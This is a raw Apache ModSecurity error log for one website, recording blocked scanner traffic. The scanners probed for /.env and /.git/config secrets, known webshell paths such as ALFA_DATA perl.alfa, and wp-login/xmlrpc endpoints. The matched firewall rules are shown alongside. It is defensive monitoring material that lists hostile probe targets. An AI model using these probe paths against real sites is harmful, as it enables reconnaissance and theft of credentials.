[Mon Dec 22 06:57:21.157232 2025] [:error] [pid 33471:tid 33488] [client 143.110.213.72:54052] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aUh7Ub5BeNE7regJ7iyPuQAAAU4"]
[Mon Dec 22 06:57:22.556764 2025] [:error] [pid 58172:tid 58192] [client 164.92.107.174:50850] [client 164.92.107.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aUh7UuSVKDT5jWOcnSUCRAAAANI"]
[Mon Dec 22 06:57:23.173157 2025] [:error] [pid 33471:tid 33480] [client 143.110.213.72:54068] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aUh7U75BeNE7regJ7iyPuwAAAUY"]
[Mon Dec 22 06:57:24.172399 2025] [:error] [pid 58078:tid 58088] [client 143.110.213.72:54070] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aUh7VJWKg9Bf8njHlB55DgAAAAU"]
[Mon Dec 22 06:57:24.553253 2025] [:error] [pid 33472:tid 33511] [client 164.92.107.174:55472] [client 164.92.107.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aUh7VJ5p2WQpPIK8HAkoegAAAYo"]
[Mon Dec 22 06:57:25.158398 2025] [:error] [pid 58078:tid 58099] [client 143.110.213.72:48354] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aUh7VZWKg9Bf8njHlB55HAAAABA"]
[Mon Dec 22 06:57:26.169268 2025] [:error] [pid 58078:tid 58098] [client 143.110.213.72:48362] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aUh7VpWKg9Bf8njHlB55IgAAAA8"]
[Mon Dec 22 06:57:27.181007 2025] [:error] [pid 33564:tid 33569] [client 143.110.213.72:48366] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUh7VwSHeG6oLmMnKY65bgAAAgI"]
[Mon Dec 22 06:57:28.162388 2025] [:error] [pid 33440:tid 33465] [client 143.110.213.72:48372] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUh7WJOsUWKqgxu6QTRwYAAAARc"]
[Mon Dec 22 06:58:04.733044 2025] [:error] [pid 33471:tid 33489] [client 185.230.124.244:64130] [client 185.230.124.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUh7fL5BeNE7regJ7iyP5AAAAU8"]
[Mon Dec 22 06:58:04.733132 2025] [:error] [pid 58079:tid 58128] [client 185.230.124.244:64129] [client 185.230.124.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUh7fHxLB7WYaNS5A7jTQwAAAE8"]
[Mon Dec 22 07:37:29.347450 2025] [:error] [pid 33440:tid 33464] [client 52.13.171.147:53695] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUiEuZOsUWKqgxu6QTR3cQAAARY"]
[Mon Dec 22 07:37:29.743375 2025] [:error] [pid 58172:tid 58187] [client 52.13.171.147:61312] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUiEueSVKDT5jWOcnSUIqAAAAM0"]
[Mon Dec 22 07:37:30.139560 2025] [:error] [pid 33472:tid 33520] [client 52.13.171.147:51779] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aUiEup5p2WQpPIK8HAkwawAAAZM"]
[Mon Dec 22 08:09:19.921044 2025] [:error] [pid 58172:tid 58183] [client 185.230.124.211:49191] [client 185.230.124.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUiML-SVKDT5jWOcnSUOLQAAAMk"]
[Mon Dec 22 08:09:19.939220 2025] [:error] [pid 33564:tid 33585] [client 185.230.124.211:49192] [client 185.230.124.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUiMLwSHeG6oLmMnKY7TxQAAAhI"]
[Mon Dec 22 08:50:28.977393 2025] [:error] [pid 33564:tid 33573] [client 42.96.16.189:49844] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiV1ASHeG6oLmMnKY7ksgAAAgY"]
[Mon Dec 22 08:50:31.432881 2025] [:error] [pid 33565:tid 33610] [client 42.96.16.189:49860] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiV19OWX69q8T0m_yKRugAAAlA"]
[Mon Dec 22 08:50:33.553923 2025] [:error] [pid 33564:tid 33575] [client 42.96.16.189:56378] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiV2QSHeG6oLmMnKY7ktwAAAgg"]
[Mon Dec 22 08:50:53.977431 2025] [:error] [pid 58078:tid 58097] [client 172.81.27.12:56574] [client 172.81.27.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.81.27.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiV7ZWKg9Bf8njHlB6ROAAAAA4"]
[Mon Dec 22 08:50:56.858537 2025] [:error] [pid 33472:tid 33524] [client 172.81.27.12:57582] [client 172.81.27.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.81.27.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiV8J5p2WQpPIK8HAk-_gAAAZc"]
[Mon Dec 22 08:50:59.815018 2025] [:error] [pid 33472:tid 33508] [client 172.81.27.12:58698] [client 172.81.27.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.81.27.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiV855p2WQpPIK8HAk_BQAAAYc"]
[Mon Dec 22 08:51:25.331679 2025] [:error] [pid 33440:tid 33451] [client 123.57.241.191:55602] [client 123.57.241.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.241.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWDZOsUWKqgxu6QTSFBQAAAQk"]
[Mon Dec 22 08:51:28.905604 2025] [:error] [pid 33564:tid 33582] [client 123.57.241.191:55610] [client 123.57.241.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.241.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWEASHeG6oLmMnKY7lLAAAAg8"]
[Mon Dec 22 08:51:32.873497 2025] [:error] [pid 33440:tid 33462] [client 123.57.241.191:48754] [client 123.57.241.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.241.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWFJOsUWKqgxu6QTSFDgAAARQ"]
[Mon Dec 22 08:52:03.995563 2025] [:error] [pid 58079:tid 58125] [client 8.217.89.127:52100] [client 8.217.89.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.217.89.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWM3xLB7WYaNS5A7jn1QAAAEw"]
[Mon Dec 22 08:52:06.350379 2025] [:error] [pid 58172:tid 58189] [client 8.217.89.127:52162] [client 8.217.89.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.217.89.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWNuSVKDT5jWOcnSUV2gAAAM8"]
[Mon Dec 22 08:52:08.195451 2025] [:error] [pid 33565:tid 33610] [client 8.217.89.127:52218] [client 8.217.89.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.217.89.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWONOWX69q8T0m_yKR6QAAAlA"]
[Mon Dec 22 08:54:31.835035 2025] [:error] [pid 33471:tid 33491] [client 8.8.245.10:37397] [client 8.8.245.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.8.245.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWx75BeNE7regJ7iyvSwAAAVE"]
[Mon Dec 22 08:54:34.519688 2025] [:error] [pid 33565:tid 33618] [client 8.8.245.10:37413] [client 8.8.245.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.8.245.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWytOWX69q8T0m_yKSMAAAAlg"]
[Mon Dec 22 08:54:36.746250 2025] [:error] [pid 58079:tid 58115] [client 8.8.245.10:37420] [client 8.8.245.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.8.245.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUiWzHxLB7WYaNS5A7joIAAAAEI"]
[Mon Dec 22 10:20:17.646428 2025] [:error] [pid 58078:tid 58095] [client 2.58.56.27:61174] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aUiq4ZWKg9Bf8njHlB6mDgAAAAw"], referer: www.google.com
[Mon Dec 22 10:20:17.650428 2025] [:error] [pid 33564:tid 33569] [client 2.58.56.27:61175] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq4QSHeG6oLmMnKY4GqgAAAgI"], referer: www.google.com
[Mon Dec 22 10:20:17.651220 2025] [:error] [pid 33643:tid 33664] [client 2.58.56.27:52173] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq4UoNwyN4xVhAvNOnNwAAApI"], referer: www.google.com
[Mon Dec 22 10:20:17.653757 2025] [:error] [pid 33643:tid 33669] [client 2.58.56.27:49788] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq4UoNwyN4xVhAvNOnOAAAApc"]
[Mon Dec 22 10:20:17.675171 2025] [:error] [pid 33643:tid 33667] [client 2.58.56.27:51992] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUiq4UoNwyN4xVhAvNOnPAAAApU"]
[Mon Dec 22 10:20:18.648531 2025] [:error] [pid 33440:tid 33456] [client 2.58.56.27:58142] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aUiq4pOsUWKqgxu6QTSV4wAAAQ4"], referer: www.google.com
[Mon Dec 22 10:20:18.649178 2025] [:error] [pid 33440:tid 33448] [client 2.58.56.27:56402] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq4pOsUWKqgxu6QTSV5AAAAQY"], referer: www.google.com
[Mon Dec 22 10:20:18.649251 2025] [:error] [pid 58078:tid 58095] [client 2.58.56.27:61174] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq4pWKg9Bf8njHlB6mNAAAAAw"], referer: www.google.com
[Mon Dec 22 10:20:18.649808 2025] [:error] [pid 33440:tid 33458] [client 2.58.56.27:59321] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq4pOsUWKqgxu6QTSV5gAAARA"]
[Mon Dec 22 10:20:18.815606 2025] [:error] [pid 33565:tid 33601] [client 2.58.56.27:52811] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUiq4tOWX69q8T0m_yKfewAAAkc"]
[Mon Dec 22 10:20:20.075629 2025] [:error] [pid 33535:tid 33555] [client 2.58.56.27:57225] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aUiq5GOCI8D9Xtn-n7Qc1wAAAdI"], referer: www.google.com
[Mon Dec 22 10:20:20.085599 2025] [:error] [pid 33471:tid 33493] [client 2.58.56.27:57208] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5L5BeNE7regJ7izGNQAAAVM"], referer: www.google.com
[Mon Dec 22 10:20:20.249649 2025] [:error] [pid 33440:tid 33442] [client 2.58.56.27:57200] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5JOsUWKqgxu6QTSWEQAAAQA"], referer: www.google.com
[Mon Dec 22 10:20:20.250427 2025] [:error] [pid 56044:tid 56053] [client 2.58.56.27:57125] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq5O60uUaieriJqP3tzwAAAIU"]
[Mon Dec 22 10:20:20.365064 2025] [:error] [pid 33565:tid 33615] [client 2.58.56.27:60084] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUiq5NOWX69q8T0m_yKfogAAAlU"]
[Mon Dec 22 10:20:21.220994 2025] [:error] [pid 33564:tid 33585] [client 2.58.56.27:54035] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5QSHeG6oLmMnKY4HIgAAAhI"], referer: www.google.com
[Mon Dec 22 10:20:21.230405 2025] [:error] [pid 33471:tid 33484] [client 2.58.56.27:53762] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq5b5BeNE7regJ7izGWwAAAUo"]
[Mon Dec 22 10:20:21.261740 2025] [:error] [pid 58078:tid 58097] [client 2.58.56.27:58815] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUiq5ZWKg9Bf8njHlB6mggAAAA4"]
[Mon Dec 22 10:20:21.388663 2025] [:error] [pid 56080:tid 56128] [client 2.58.56.27:55753] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5ZIHT3YJq9hjDc5emgAAAwQ"], referer: www.google.com
[Mon Dec 22 10:20:21.393066 2025] [:error] [pid 56080:tid 56131] [client 2.58.56.27:54733] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aUiq5ZIHT3YJq9hjDc5enAAAAwc"], referer: www.google.com
[Mon Dec 22 10:20:21.934979 2025] [:error] [pid 56078:tid 56105] [client 2.58.56.27:56371] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5ZB-mi1iY1_On76vBwAAAsw"], referer: www.google.com
[Mon Dec 22 10:20:22.004644 2025] [:error] [pid 56080:tid 56134] [client 2.58.56.27:53549] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5pIHT3YJq9hjDc5evQAAAwo"], referer: www.google.com
[Mon Dec 22 10:20:22.620473 2025] [:error] [pid 56153:tid 56184] [client 2.58.56.27:59099] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq5USS5f47yfDofyQSowAAA1Q"]
[Mon Dec 22 10:20:22.621684 2025] [:error] [pid 56153:tid 56173] [client 2.58.56.27:54641] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUiq5USS5f47yfDofyQSpQAAA0k"]
[Mon Dec 22 10:20:22.797116 2025] [:error] [pid 56155:tid 56224] [client 2.58.56.27:58261] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "aUiq5mG8a3wQucsuN656ugAAA4I"], referer: www.google.com
